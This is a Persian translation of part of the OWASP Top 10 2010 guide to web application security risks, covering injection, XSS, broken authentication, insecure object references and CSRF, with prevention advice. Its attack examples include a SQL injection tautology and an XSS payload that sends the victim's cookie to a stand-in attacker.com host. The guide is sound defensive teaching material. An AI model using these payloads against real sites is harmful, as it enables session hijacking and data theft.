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فناوري اطلاعات و ارتباطات با ظهور و رش��د سريع و در عين حال نامتوازن خود 
هم زمان با فراهم آوردن زمينه رش��د و تعالي جامعه بش��ري بس��تري مهيا جهت 
ورود آسيب هاي جدي و خطرناک به جامعه بهره بردار را نيز تدارک ديده است که 
دقت و تدبير در اين موضوع ضرورت تلاش در راس��تاي کسب مصونيت در مقابل 
اين تهديدات را در راس��تاي حفظ امنيت ملي و حريم خصوصي ش��هروندان يک 

جامعه، دوچندان مي کند.
فضاي مجازي و در يک کلام بس��تر وب به عن��وان مهمترين فضاي ارتباطي 
ش��هروندان يک جامعه اطلاعاتي با يکديگر و با دولت ش��ناخته شده و يک وبگاه 

اصلي ترين دروازه اين فضاي ارتباطي قلمداد مي گردد.
عليرغم ارزيابي و کنترل مداوم بر روي وبگاه ها و فضاي مجازي مورد استفاده 
اين فضا همچون س��اير جوامع انساني در معرض تهديدها و مخاطرات جدي قرار 
دارد. از نفوذ داده هاي مخرب گرفته تا تخريب داده هاي سالم و از هم گسيختگي 
نظام ش��بکه داده و... همه و همه در گرو اهميت دادن به موضوع امنيت اطلاعات 

در شبکه داده هاست.    
موضوع امنيت فن��اوري اطلاعات و اتخاذ سياس��ت هاي دولتي در اين عرصه 
نقش بس��يار مهمي را در حوزه هاي مختلف  سياس��ت گذاري و اجرا در کشور ايفا 
مي نمايد. به طور مش��خص  نقش س��ازمان ها و نهادهاي مسئول در اين حوزه در 
راس��تاي آگاهي بخش��ي و تأمين امنيت همه کاربران فضاي مجازي نقشي بسيار 
مهم و حياتي اس��ت. آنچه در اين مس��ير ضروري به نظر مي رسد عبارت است از 

پيش گفتار 
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مد نظر قرار دادن مواردي همچون آگاهي بخش��ي عمومي، آموزش، توسعه منابع 
انساني و مشارکت بخش هاي عمومي و خصوصي. 

در همين راس��تا و با عنايت به نياز و ضرورت تأمين امنيت وبگاه ها، خصوصاً 
وبگاه هاي دولتي و حاکميتي، دبيرخانه ش��وراي عالي اطلاع رس��اني بر آن شد تا 
در فراين��د ارزيابي وبگاه هاي دس��تگاه هاي دولتي و حاکميت��ي به مقوله امنيت 
توجه بيش��تري معطوف دارد و در راستاي رسالت کاري خود بستر اطلاع رساني و 
فرهنگ س��ازي لازم را جهت ارتقای دانش عمومي و تخصصي لازم در امن  سازي 

وبگاه ها بکار گيرد.
مت��ن پي��ش رو ترجمه اي مختص��ر از نکات قاب��ل توجه در موض��وع امنيت 
فضاي مجازي اس��ت که به همت عزيزان فعال در اي��ن دبيرخانه انجام و با هدف 
فرهنگ س��ازي در زمينه تأمين امنيت فضاي تب��ادل اطلاعات در محيط مجازي 
همزمان با برگزاري س��ومين دوره ارزيابي وبگاه هاي حاکميتي توس��ط دبيرخانه 

شوراي عالي اطلاع رساني چاپ و منتشر گرديد. 
اميد که دانش��گاهيان، متخصصان بخش خصوص��ي و ديگر ارباب نظر و بهره 
ب��رداران حوزه خدمات دولت الکترونيک با ارايه نظرات اصلاحي و پيش��نهاد  هاي 

سازنده خود ما در مسير نيل به اين مهم ياري رسانند.

دكتر حميد شهرياري
دبير شوراي عالي اطلاع رساني
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امروزه فضای مجازی تبديل به يک محيط متش��کل از زيرس��اخت های ديجيتال 
پيچيده و در هم تنيده شده است كه گاهي نمي توان مرز روشني بين آن ها تعيين 
نمود. در همين راس��تا هرگاه س��خن از موضوع امنيت در فضای مجازی به ميان 
می آيد، مرز مشخصی برای آن نمی توان قائل شد و ابعاد گوناگونی مانند امنيت در 
لايه های فيزيکی، داده، ش��بکه، نرم افزار و ... مطرح خواهد شد که هرکدام نيازمند 

توجهات خاص خود بوده و بسيار به هم وابسته می باشد.
يک��ی از مهم ترين ابعاد امنيت، امنيت نرم اف��زار و به ويژه برنامه های کاربردی 
مبتنی بر وب می باشد، چرا که اين نرم افزارها نقش واسط ارتباطی بين سازمان و 
کاربران بيرونی را داش��ته و به عنوان يک نقطه ورودی بسيار مناسب برای هکرها 
به ش��مار می روند و به همين دليل بنابر آمار در بيش��تر حملات صورت پذيرفته 
به س��ازمان ها، آسيب پذيری های موجود در اين گونه نرم افزارها نقشی کليدی در 

انجام موفقيت آميز حملات ايفا کرده است.  
اين در حاليس��ت که امروزه نرم افزارهای ناامن، بس��تر عملياتی مهم بسياري 
از زيرس��اخت های حياتی کش��ورها مانند دف��اع، انرژی، مالی، بهداش��ت و ديگر 
زيرس��اخت ها را تش��کيل داده اند و همانطور که نقش وب گاه های دس��تگاه های 
حاکميتی در راس��تای ارائه خدمات دولت الکترونيک پر رنگ تر می شود، اهميت 
توجه به امنيت آن سامانه های کاربردی نيز به طرز چشم گيری افزايش می يابد.

ه��دف اصلی اين کت��اب افزايش آگاهی در مورد امني��ت برنامه های کاربردی 
تح��ت وب اس��ت که ب��ا معرف��ی برخ��ی از مخاط��رات بحرانی ک��ه پيش روی 
 س��ازمان ها ق��رار دارد، محقق می ش��ود. اي��ن کت��اب برگرفته از گ��زارش پروژه

 OWASP TOP 10  می باش��د که مورد ارجاع بسياری از کتب، ابزارها، سازمان ها 
و استانداردها مانند MITRE, PCI DSS, DISA, FTC  قرار گرفته است. اين گزارش 
نخس��تين بار در س��ال 2003 منتشر و پس از آن در س��ال های2004، 2007 و 

پيشگفتار مترجمين  
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2010 به روز رسانی شده است.
 اين کتاب برای سازمان ها مشوقی خواهد بود تا فعاليت خود را در زمينه امنيت 
برنامه های کاربردی آغاز کنند. همچنين می تواند مديران اجرايی س��ازمان ها را به 
تفک��ر در خصوص چگونگی مديريت مخاط��رات نرم افزارها و برنامه های کاربردی 

تحت وب سازمان خود وا دارد.
در اين کتاب فهرستي ده تائي از مهم ترين مخاطرات امنيتی برنامه های کاربردی 
تحت وب و راه هائي براي ارزيابي آنها معرفي ش��ده اس��ت. علاوه بر اين براي هر ده 
م��ورد در خصوص پارامترهای احتم��ال و اثر وقوع مخاطرات جهت طبقه بندی هر 
مورد بر اساس ميزان شاخص ريسک، سپس روش های بررسي و كشف آن مخاطرات 
در برنامه های کاربردی، راهکارهای کنترلی کاهش مخاطرات به همراه نمونه هائي از 

آن بخش و معرفي منابع اطلاعاتي بيشتر، ارائه مطلب شده است.
ه��دف اوليه اين کتاب آم��وزش نكاتي به برنامه نويس��ان، طراحان، معماران 
و مديران س��ازمان ها در مورد عواقب ناش��ی از نقاط ضعف امنيتی در برنامه هاي 
كاربردي تحت وب مي باش��د و روش هاي س��اده اي را براي حفاظت در مقابل اين 
خطرات و راهنمائي هائي براي رفع مشكلات ناشي از اين خطرات معرفي مي كند.
همچنين در اين کتاب س��عی ش��ده است تا از واژگان فارسی برای جايگزينی 
كلمات بيگانه اس��تفاده گردد تا گامي هر چند كوچك در پاسداش��ت خط و زبان 

فارسی برداشته باشيم.
اميد اس��ت بتوانيم با نشر مطالبی از اين دست، کمکی اندک به بهبود امنيت 
وبگاه های دستگاه های حاکميتی کشور و ديگر ارائه کنندگان خدمات الکترونيک 

در بستر وب نماييم.
علی سوزنگر
سيد روح الله سجادی
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OWASP انجمنی آزاد اس��ت که س��ازمان ها را در زمينه پدي��دآوری، نگه داری و 
 OWASP خريد برنامه های کاربردی1 قابل اطمينان و امن توان مند می س��ازد. در

موارد زير را می توان رايگان دريافت کرد:
• استانداردها و ابزارهای مرتبط با امنيت برنامه های کاربردی

• اسناد کاملی در مورد امنيت آزمايی برنامه های کاربردی، پديدآوری کدهای 
ايمن، بازبينی امنيت کدها

• کتابخانه ها و کنترل های امنيتی استاندارد
تمامی ابزارها، اس��ناد، گروه های هم انديشی، انجمن ها و بخش های موجود در 
OWASP به صورت رايگان در اختيار کسانی است که به بهکرد امنيت برنامه های 
کارب��ردی علاقه من��د هس��تند. موثرترين روش ه��ا در زمينه امني��ت برنامه های 
کاربردی، ش��امل بهب��ود در تمامی موارد مرتبط با  کاربران، فرايندها، مش��کلات 
فناوری و... است، لذا OWASP روش های خود را با درنظرگرفتن تمامی اين موارد 

ارائه می کند.
فعاليت اين انجمن به صورت مستقل، اين امکان را فراهم می سازد تا به دور از 
دغدغه های مالی و تجاری، اطلاعاتی را در مورد امنيت برنامه های کاربردی توليد 
کرد که بی طرفانه، عملی و مقرون به صرفه باشد. اين انجمن از برخی فناوری های 
امنيتی استفاده می کند، اما به هيچ شرکت توليدکننده ای وابستگی مالی و تجاری 
ندارد و همانند بس��ياری از پروژه های نرم افزاری متن باز، انواع مختلفی از ابزارها 

را به صورت رايگان و متن باز توليد می کند.

مخاطرات امنيتی برنامه های کاربردی2: 
مخاطرات امنيتي برنامه ها چيست؟ 

مهاجم��ان مس��يرها و روش ه��ای مختلفی را ب��ه کار می گيرند ت��ا از طريق 
برنامه های کاربردی به س��ازمان يا کس��ب وکاری آسيب وارد کنند. هريک از اين 
مسيرها نش��ان دهنده خطر بزرگی است که می تواند دليل کافی برای توجه ويژه 

به آن باشد.

OWASP درباره

1. Applications                        2. Application Security Risks
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گاهی اين مس��يرها توس��ط مهاجمان به راحتی کش��ف و برای حمله نفوذی 
مورد استفاده قرار می گيرند اما برخی از آن ها به شدت پيچيده و مشکل هستند. 
برای محاس��به شاخص مخاطرات وارد بر س��ازمان، ارزيابی احتمال وقوع تهديد، 
بردار حمله و تعيين آسيب پذيری های امنيتی به همراه تاثير فنی و تجاری آن بر 

سازمان ضروری است. 

مخاطرات مهم:
در اي��ن بخ��ش مخاطرات ج��دی امنيتی برای طيف وس��يعی از س��ازمان ها 
شناس��ائی شده اس��ت و برای هرکدام از اين مخاطرات، اطلاعات عمومی در مورد 
احتمال وقوع و تاثيرات فنی آن ها، مطابق ش��کل زير بيان شده است. طرح ساده 

زير بر اساس روش رتبه بندی مخاطرات 1OWASP تهيه شده است.

اثر تجاری

؟؟

اثر فنی

بالا

متوسط

جزیی

تشخیص آسیب پذیری

آسان

متوسط

مشکل

شیوع آسیب پذیری

گسترده

رایج

رایج نیست

بردار حمله

آسان

متوسط

مشکل

عامل تهدید

حمله كنترل اثر

مهاجمبردار حملهآسیب پذیريكنترل امنیتياثر فنياثر تجاري

اثر

اثر

كنترل
دارایي

تابع

كنترلدارایي

آسیب پذیري

آسیب پذیري

آسیب پذیري

آسیب پذیري

حمله

حمله

به هرحال هر س��ازمان با ويژگی های خاص محيط وکسب و کار خود بيش تر 
آشنا است، اما برای هر برنامه کاربردی عوامل تهديدزای خاصی وجود دارد که مي 
تواند منجر به حملاتي شود. بنابراين هر سازمان بايد مخاطرات مربوط به کسب و 
کار خود را با توجه ويژه به عوامل تهديدزا، کنترل های امنيتی پياده سازی شده و 

تاثيرگذاری آن ها در مسائل تجاری و مالی سازمان، شناسائی کند. 

1. OWASP Risk Rating Methodology
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تزریق
)Injection(

پردازه گذاری فرا-وبگاهی
 Cross Site Scripting

)XSS(

مدیریت نشست و 
اصالت سنجی  فروشکسته

 Broken Authentication
and Session Management

ارجاعات شی واره ای مستقیم 
ناامن

 Insecure Direct Object
References

جعل درخواست فراوبگاهی
Cross Site Request Forgery

)CSRF( 

پیکربندی نادرست  امنیت
Security Misconfiguration

خط��ر تزریق)مانندتزریق  SQL, OS  و LDAP ( زمانی رخ می دهد که 
داده های نامطمئن1 به عنوان بخشی از یک دستور یا پرسمان2 به یک 
مفسر3  ارسال شود. داده های مهاجمان، مفسر را به اجرای دستورات 

ناخواسته و یا دسترسی به اطلاعات غیر مجاز وادار می کند.

این خطر زمان��ی رخ می دهد که برنامه کاربردی داده های نامطمئن  
و غیرامنی را به کارگیرد و آن را بدون اعتبارس��نجی مناسب به یک 
مرورگر وب بفرس��تد. XSS به مهاجمان اج��ازه اجرای پردازه  را در 
مرورگ��ر قربان��ی مورد نظر می دهد که این می تواند باعث س��رقت 
نشس��ت4 ارتباطی کاربر، رخنه گری در  وبگاه  یا تغییر مس��یر کاربر  

به وبگاه های مخرب شود.

در بیش ت��ر مواقع بخش��ی از عملی��ات برنامه های کارب��ردی که به 
اصالت س��نجی  و مدیری��ت نشس��ت ارتباط��ی مرتبط اس��ت، به طرز 
صحیحی پیاده س��ازی نمی شود. این مس��ئله به مهاجمان اجازه حمله 
به گذرواژه ها، نشان واره5  و به کارگیری هویت  سایرین را می دهد.

این خطر زمان��ی رخ می دهد که برنامه نویس به مواردی نظیر فایل، 
دایرکت��وری ی��ا پای��گاه داده ارجاع می ده��د. بدون وج��ود کنترل 
دسترس��ی یا حفاظت های دیگر، مهاجمان می توانند با دستکاری این 

مراجع برای دسترسی به داده های غیر مجاز استفاده کنند.

 HTTP مرورگر را وادار به ارس��ال درخواس��ت جعلی CSRF حملات
ش��امل ردنما9 نشس��ت قربانی و دیگر اطلاعات هویتی به برنامه های 
کاربردی تحت وب آسیب پذیر مي كند. این خطر به مهاجمان اجازه 
می ده��د که مرورگر  قربانی را مجبور به ارس��ال درخواس��ت کند و 
برنامه  کاربردی آس��یب پذیر نیز فکر می کن��د که در حال دریافت 

درخواست های قانونی از طرف قربانی است.

ب��راي تامین امنیت، نیازمند تنظیمات دقی��ق امنیتي برای  برنامه های 
کاربردی، چارچوب ه��ا، خدمات دهنده های وب ، خدمات دهنده نرم 
افزار و کارپایه ها و... هس��تیم. لازم اس��ت تا تمام��ی این تنظیمات به 
درس��تی تعریف، اجرا و نگه داری شود زیرا بسیاری از تنظیمات پیش 

فرض به اندازه كافي ایمن نیستند.

OWASP 2010 ده مخاطره مهم در مورد  امنيت برنامه های کاربردی ـ

A1

A2

A3

A4

A5

A6

1. Untrusted data                        2. Query                           3. Interpreter
4. Session                   5. token                     6. cookie
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بسیاری از برنامه های کاربردی دسترسی به URL ها را قبل از اجرای 
پیونده1 ها و دکمه های محافظت ش��ده بررسی می کنند. با این حال، 
برنامه های کاربردی نیاز به انجام کنترل دسترسی های مشابه هنگام 
مش��اهده این صفحات را دارند وگرنه مهاجمان قادر به جعل URL ها 

برای دسترسی به این صفحات پنهان هستند.

برنامه های کاربردی تحت وب به طور مرتب کاربران را به صفحات 
وبگاه ه��ای دیگر هدایت می کنن��د و از داده های غیرامن برای تعیین 
صفح��ات مقص��د اس��تفاده می کنن��د. بدون اعتبارس��نجی مناس��ب، 
مهاجم��ان می توانند قربانیان را به وبگاه  های تورگذاری2 و مخرب یا 

به صفحات غیرمجاز هدایت کنند.

بس��یاری از برنامه ها از داده های حس��اس مانند کارت های اعتباری، 
SSN ه��ا و ... با رمزن��گاری و رمزگذاری3 به طور مناس��ب محافظت 

نمی کنند.
مهاجمان ممکن اس��ت از این حفاظت ضعی��ف اطلاعات، برای انجام 
سرقت شناسه هویت، کلاهبرداری از کارت اعتباری و یا سایر جرایم 

استفاده کنند.

در مواقعی که نیاز به حفاظت از ارتباطات حس��اس است، برنامه های 
کاربردی اغلب قادر به رمزنگاری ترافیک ش��بکه نیستند. در بیش تر 
مواقعی که این حفاظت ها انج��ام می گیرد، به کارگیری گواهی های 
نامطمئن یا عدم استفاده مناس��ب از آن ها، پشتیبانی از الگوریتم های 

ضعیف و ... باعث عدم حفاظت صحیح می شود.

شکست در محدودسازی 
URL دسترسی به

 Failure to Restrict URL
Access

تغییرمسیردهی و انتقال های 
نامعتبر

 Unvalidated Redirects and
Forwards

ذخیره سازی رمزنگاشتی 
غیرایمن

 Insecure Cryptographic
Storage

حفاظت ناکافی از لایه ی 
ترابرد

 Insufficient Transport
Layer Protection

A7

A8

A9

A10

1. link                         2. Phishing                            3. hashing  





آشنايي با بالاترين
مخاطرات امنيتي
وبگاه ها
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آيا نسبت به تزريق آسيب پذير هستيد؟
بهترين راه برای فهميدن آسيب پذيری يک برنامه نسبت به تزريق ، اطمينان حاصل 
کردن از اين موضوع اس��ت که مفس��ر ها  توانايی تميز داده های غير قابل اطمينان از 
دستورات و پرسمان ها را دارند.  اين موضوع در SQL، به معنی استفاده از متغيرهای 
محدود و مشخص در تمامی روال  های از پيش تعريف شده و اجتناب از به کارگيری 

پرسمان های پويا است.
بازبين��ی کردن کد برنامه روش س��ريع و دقيقی ب��رای فهميدن اين موضوع 
اس��ت که آيا برنامه ها از مفس��ر ها به طور امن استفاده می کنند يا خير؟ ابزارهای 
تحلي��ل کد نيز می تواند به تحليلگر امنيتی کمک کند تا اطلاعاتی درمورد نحوه 
ب��ه کارگيری مفس��رها و رديابی جريان داده ها از طريق نرم افزار به دس��ت آورد. 
همچنين آزمون  نفوذ دس��تی نيز می تواند صحت آسيب پذيری های کشف شده 

را تائيد کند.
پويش گ��ری خودکار پويا که برای آزمون  برنامه های کاربردی اس��تفاده 
می ش��ود نيز می تواند برخی مش��کلات موجود در زمينه  تزريق ها را آشکار 
س��ازد. البته پويشگرها هميشه نمی توانند به مفس��ر ها دسترسی پيدا کنند 
و گاه��ی در تش��خيص اين که آيا حمله موفقيت آميز بوده اس��ت، مش��کل 

دارند.
برای جلوگيری از تزريق چه بايد کرد؟

جلوگيری از تزريق ها مستلزم اين است که داده های غير امن از پرسمان ها متمايز 
شود.

1. يک گزينه مناسب استفاده از API امن است که از استفاده مفسر ها به طور 
کامل جلوگيری کرده يا يک رابط کاربری پارامتری را آماده می س��ازد. نسبت به 
اس��تفاده از API هائی مانند روال های ذخيره س��ازی که به صورت پارامتری  ظاهر 

تزریق1
:A1

1. Injection 
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می شوند اما ممکن است که آسيب پذيری تزريق داشته باشند، توجه لازم را بايد 
داشت. 

2. درصورتی که API پارامتری  در دس��ترس نباشد، بايد با دقت تمام استفاده 
از نويس��ه های خاص را که برای مفس��ر ها معانی خاصی دارند، محدود کرد. برای 

اطلاعات بيش تر می توان به OWASP ‘s ESAPI اشاره کرد.
3. اعتبارس��نجی مثبت داده ها با رمز گش��ايی و پالايه گذاری1 مناسب ورودی 
ب��ه محافظت در برابر تزريق کمک می کند اما اين محافظت کاملی در برابر تزريق 
نيس��ت زيرا بس��ياری از برنامه های کاربردی به نويسه های خاص در ورودی خود 

نياز دارند.

مثالی از سناريوی حمله:
برنامه از داده های غير قابل اطمينان در ساخت  پرسمان زير استفاده مي كند:

String query = «SELECT * FROM accounts WHERE
custID=›» + request.getParameter(«id») +»›»;

مهاج��م پارامتر »id« را در مرورگر خود تغيير داده و › or ›1‹=‹1 را ارس��ال 
می کند.

اي��ن موضوع مي توان��د باعث تغيير معني پرس��مان ب��ه »بازگرداندن تمامي 
ركوردها از پايگاه داده« به جاي درخواست اطلاعات مشتري خواسته شده باشد.

http://example.com/app/accountView?id=› or ‹1›=›1
در بدترين حالت، مهاجم با استفاده از اين ضعف امنيتی، اجازه تصاحب تمام 

اطلاعات موجود در پايگاه داده را مي يابد.

1. filtering  
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آيا نسبت به XSS آسيب پذير هستيد؟
باي��د اطمينان حاصل کرد که اطلاعات وارد ش��ده توس��ط کاربران که به مرورگر 
بازگردانده می ش��ود،  امن هس��تند )از طريق اعتبار س��نجی ورودی(. رمز گذاری 
مناسب خروجی اين اطمينان را می دهد که با داده های وارد شده  به عنوان متن 

و نه محتوای قابل اجرا برخورد شود.
ابزارهای ايس��تا و پويا م��ی تواند برخی از مش��کلات XSS را به طور خودکار 
پي��دا کنند. اگرچه هر برنامه کاربردی، صفحات خروجی را به طور متفاوتی ايجاد 
 JavaScript, ActiveX, Flash, می کند و از مفسرهای متفاوت سمت مرورگر نظير
Silverlight استفاده می کند که اين خود تشخيص خودکار را با مشکل می سازد. 
بنابراين، کش��ف کامل اين موضوع نيازمند به کارگيری ترکيبی از بررسی دستی 

کدها و آزمون نفوذ است.
فناوری های وب2 مانند AJAX شناس��ائی XSS ها را از طريق ابزارهای خودکار 

بسيار پيچيده تر می سازد.

برای جلوگيری از XSS  چه بايد کرد؟
جلوگيری از XSS ها نيازمند جداسازی داده های غيرامن از محتوای فعال مرورگرها 

است.
1. يک گزينه مناسب حذف تمام مکان های ورود داده مبتنی بر HTML توسط 

 body, attribute, JavaScript, CSS, or URL برنامه نويس است مانند
2. اعتبارسنجی مثبت داده ها با رمز گشايی و پالايه گذاری مناسب ورودی به 
 XSS کمک می کند اما اين ي��ک محافظت کامل در برابر XSS محافظ��ت در برابر
نيست زيرا بسياری از برنامه های کاربردی به نويسه های خاص در ورودی خود نياز 
دارند. در اعتبارسنجی بايد تا حد ممکن ورودی های رمزنگاری شده را رمز گشائی 

پردازه گذاری فرا- وبگاهی1
:A2

1. Cross Site Scripting (XSS)  
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کرد و قبل از پذيرش هرگونه ورودی طول، نويس��ه ها، قالب و هر قاعده1 مرتبط با 
آن داده را اعتبار سنجی نمايد.

مثال از سناريوی حمله:
 HTML برنامه از داده های غير قابل اطمينان و بدون اعتبارسنجي در ساخت قطعه

زير استفاده مي كند:

(String) page += "<input name='creditcard' type='TEXT‘
value='" + request.getParameter("CC") + "'>";

مهاجمان از پارامتر ‘CC’ در مرورگر خود استفاده مي كنند.

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
'+20%document.cookie</script>.

اين کار باعث مي ش��ود كه شناس��ه نشس��ت كاربر قرباني ب��ه وبگاه  مهاجم 
ارس��ال شده و به او اجازه ربودن نشست جاري كاربر را بدهد. توجه داشته باشيد 
که مهاجم می تواند با اس��تفاده از XSS از مقابل هرگونه دفاع CSRF كه برنامه از 
 A5 به CSRF آن اس��تفاده مي كند نيز عبور کند. براي اطلاع��ات بيش تر در مورد

رجوع كنيد.

1. Business rule  
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منابع

OWASP
•OWASP XSS Prevention Cheat Sheet
•OWASP Cross Site Scripting Article
•ESAPI Project Home Page 
•ESAPI Encoder API
•ASVS: Output Encoding/Escaping Requirements (V6)
•ASVS: Input Validation Requirements (V5)
•OWASP Testing Guide: Chapter on XSS Testing
•OWASP Code Review Guide: Chapter on XSS Review

External
•CWE Entry 79 on Cross Site Scripting
•RSnake’sXSS Attack Cheat Sheet
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آيا آسيب پذير هستيد؟
اولين مواردی که نياز به حفاظت دارد گذرواژه  کاربران و شناسه نشست است.

 TLS 1. آيا گذرواژه ها ، شناسه نشست و ساير مجوزها تنها از طريق ارتباطات
ارسال می شود؟ )برای توضيح بيش تر A10 را مشاهده کنيد(

2. آي��ا مجوزه��ا به صورت رمزگذاری ش��ده ذخيره می ش��وند ؟)برای توضيح 
بيش تر A9 را مشاهده کنيد(

3. آيا به علت عملکرد ضعيف مديريت حساب های کاربران، گذرواژه ها  را می 
توان حدس، تغيير يا بازيابی کرد؟

4. آيا  شناسه نشست از طريق بازنويسی URL افشا می شود؟
 log out 5. آيا شناس��ه نشس��ت ها دارای انقضاء زمانی بوده و کارب��ر می تواند

کند؟

برای جلوگيری چه بايد کرد؟
مهم ترين پيش��نهاد به سازمان ها اين است که برای برنامه نويسان، مجموعه ای از 

کنترل ها جهت مديريت اصالت سنجی  و مديريت نشست ها فراهم سازند.
1. کنترل ه��ا باي��د ب��ه گونه ای باش��د ک��ه تم��ام نيازمندی ه��ای مربوط به 
  ASVS اصالت س��نجی و مديريت نشس��ت هائی را محقق س��ازد که در اس��تاندارد

مشخص شده است.
2. کنترل ها بايد دارای رابط کاربری س��اده برای برنامه نويس��ان باش��د. برای 

اطلاعات بيش تر به ESAPI Authenticator and User API  رجوع کنيد.
3. تلاش ه��ای زيادی بايد برای جلوگيری از خطرات XSS که س��بب س��رقت 

شناسه نشست ها می شود، صورت گيرد.

مدیریت نشست و اصالت سنجی  فروشکسته1
:A3

1. Broken Authentication and Session Management  
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مثال از سناريوی حمله:
س��ناريو اول: برنام��ه رزرو خطوط هواپيمائي، از بازنويس��ی URL پش��تيباني 

: URL مي كند، با قرار دادن شناسه نشست در

http://example.com/sale/saleitems;jsessionid=
2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii

يك كاربر مجاز اين س��امانه  مي خواهد كه دوست خود را از  فروش آگاه كند 
بنابراين پيونده  بالا را براي دوس��ت خود ارس��ال مي كند،  ب��دون اطلاع از اين كه 
شناس��ه نشست خود را نيز ارس��ال كرده است. كس��ي كه از اين پيونده  استفاده 

مي كند، مي تواند از نشست  و اطلاعات كارت اعتباري قربانی نيز استفاده كند.
سناريو دوم: وقتي كه مدت انقضاء زمانی برنامه به درستی تنظيم نشده باشد 
و کاربر از رايانه  های عمومی اس��تفاده كند، به جای اس��تفاده از كليد "خروج" به 
سادگی پنجره مرورگر را می بندد. مهاجمان با استفاده از مرورگر مشابه به حساب 

كاربري كه هنوز معتبر است دسترسي پيدا مي كند.
سناريو سوم: در وبگاه  از پروتکل های رمزنگاری SSL /TLS براي تمام ترافيک 
اس��تفاده نشده است، همس��ايه ترافيک بی سيم کاربر را شنود کرده و رمز عبور و 

شناسه نشست را سرقت می کند.
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منابع

OWASP
•ESAPI Authenticator API
•ESAPI User API
•OWASP Development Guide: Chapter on Authentication
•OWASP Testing Guide: Chapter on Authentication

External
•CWE Entry 287 on Improper Authentication
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آيا آسيب پذير هستيد؟
بهترين راه برای فهميدن آسيب پذيری يک برنامه کاربردی در اين زمينه، بررسی 
اين موضوع است که آيا تمام ارجاع ها از دفاع مناسب برخوردار هستند يا خير. به 

موارد زير توجه کنيد:
1. برای ارجاع مستقيم به منابع حفاظت شده، برنامه نياز به اعتباردهی کاربر 

جهت دسترسی به منابع مورد درخواست را دارد.
2. اگر ارجاع به صورت ارجاع غير مس��تقيم است، نگاشت به ارجاع مستقيم2  

بايد محدود به مقاديری باشد که برای کاربر جاری مجاز است.
بازبين��ی کد می تواند به راحتی مش��خص کند که آيا کد امن اس��ت يا خير. 
آزمون  دس��تی نيز برای تعيين ارجاعات مس��تقيم به ش��ی واره  ها و ميزان امنيت 
آن ها اثربخش اس��ت. ابزارهای خودکار معمولا برای چنين آسيب پذيری جستجو 
نمی کنند چون نمی توانند تش��خيص دهند که چه ش��ی واره ای به حفاظت نياز 

دارد.

برای جلوگيری چه بايد کرد؟
1. اس��تفاده از ارجاع غير مستقيم به شی واره : با اين کار می توان از دسترسی 
مستقيم مهاجمان به منابع غير مجاز جلوگيری کرد. برای مثال در يک فهرست3 
شش تائی از منابع می توان به جای استفاده از کليد اصلی پايگاه داده، از اعداد يک 
تا شش برای مشخص کردن داده ی انتخاب شده توسط کاربر استفاده کرد. برنامه 
کاربردی بايد نگاشتی بين ارجاع های غيرمستقيم هر کاربر را با کليد اصلی پايگاه 
داده انجام دهد. OWASP’s ESAPI ش��امل هر دو نگاشت ارجاع دسترسی متوالی 

ارجاعات شی واره ای مستقیم نا امن1
:A4

1. Insecure Direct Object References
2. Mapping to the direct reference                     
3. Drop down list
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و تصادفی به منابع اس��ت  که برنامه نويسان می توانند برای حذف ارجاع مستقيم 
به شی واره  ها از آن ها استفاده کنند.

2. کنترل دسترس��ی: برای هرگونه استفاده از ارجاع مستقيم به شی واره  ها از 
منابع غيرمطمئن بايد کنترل دسترس��ی، جهت اطمينان از اين موضوع که کاربر 

مجاز به دسترسی به منابع مورد تقاضا است ، انجام شود.

مثال از سناريوی حمله:
برنامه اطلاعات نامطمئن  در SQL Call که به اطلاعات حس��اب ها دسترس��ی 

دارد، استفاده می کند:

String Query = "SELECT * FROM accts WHERE account = ?";
PreparedStatementpstmt=
connection.prepareStatement(Query , … );
pstmt.setString( 1, request.getparameter("acct"));
ResultSetresults = pstmt.execute Query ( );

مهاجم به راحتي با تغيير پارامتر »acct« در مرورگر خود اقدام به ارس��ال هر 
ش��ماره حساب كاربري كه بخواهد، مي كند. در صورت عدم اعتبارسنجی مي تواند 

به حساب هر کاربری دسترسي پيدا كند.

http://example.com/app/accountInfo?acct = notmyacct
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منابع

OWASP
•OWASP Top 10-2007 on Insecure Dir Object References
•ESAPI Access Reference Map API
•ESAPI Access Control API(See isAuthorizedForData(), isAuthorizedForFile(), 
isAuthorizedForFunction() )For additional access control requirements, see 
the ASVS requirements area for Access Control (V4).

External
• CWE Entry 639 on Insecure Direct Object References
•CWE Entry 22 on Path Traversal(which is an example of a Direct Object 
Reference attack)
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آيا آسيب پذير هستيد؟
س��اده ترين راه برای تشخيص اين آسيب پذيری ، بررسی اين موضوع است که آيا 
پيونده ه��ا و فرم های موجود در وبگاه  دارای يک نش��ان واره  غيرقابل پيش بينی2  
برای هر کاربر هس��ت. بدون استفاده از نش��ان واره  غيرقابل پيش بينی ، مهاجمان 
می توانند درخواست های جعلی ارسال کنند به ويژه فرم ها و پيونده هايی که توابع 

تغيير حالت3 را فراخوانی می کنند، بيش تر مقصد حملات CSRF هستند.
حتی لازم اس��ت که تراکنش های چند مرحله ای نيز کنترل شود زيرا ذاتا از 
سطح امنيتی پائين تری برخوردار هستند. مهاجمان می توانند به راحتی مجموعه 
ای از درخواست های جعلی را با استفاده از برچسب های مختلف و يا احتمالا جاوا 

اسکريپت  ارسال کنند.
ابزار OWASP’s CSRF Tester  می تواند برای نش��ان دادن خطرات ناش��ی از 

آسيب پذيری CSRF کمک کند.

برای جلوگيری چه بايد کرد؟
برای جلوگيری از مخاطرات ناشی از CSRF نيازمند استفاده از نشان واره  های 
غير قابل پيش بينی به عنوان بخشی از هر تراکنش هستيم. اين نشان واره  ها بايد 

حداقل به ازای هر نشست کاربر يا هر درخواست، يکتا باشند. 
1. يک گزينه مناسب، استفاده از نشان واره  منحصر به فرد در فيلدهای پنهان 
 HTTP اس��ت. اين موضوع باعث می شود که مقادير در داخل بدنه درخواست های

و نه به عنوان بخشی از URL ارسال شوند.
2. نشان واره های منحصر به فرد می توانند در خود URL يا متغيرهای آن قرار 

جعل درخواست فرا- وبگاهی1
:A5

1. Cross Site Request Forgery (CSRF)      
2. Unpredictable token
3. State-changing functions
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گيرند. با اين حال در اين روش خطر کشف نشان واره  مخفی توسط مهاجم وجود 
دارد. 

OWASP’s CSRF Guard ابزاری اس��ت که از آن م��ی توان جهت قرار دادن 
خودکار نشان واره  ها در برنامه های Java EE, .NET, or PHP  استفاده کرد. 

OWASP’s ESAPI  ني��ز دارای توليد کننده و اعتبار بخش نش��ان واره  اس��ت 
که از آن برنامه نويس��ان برای حفاظت از تراکنش های برنامه های خود می توانند 

استفاده کنند. 
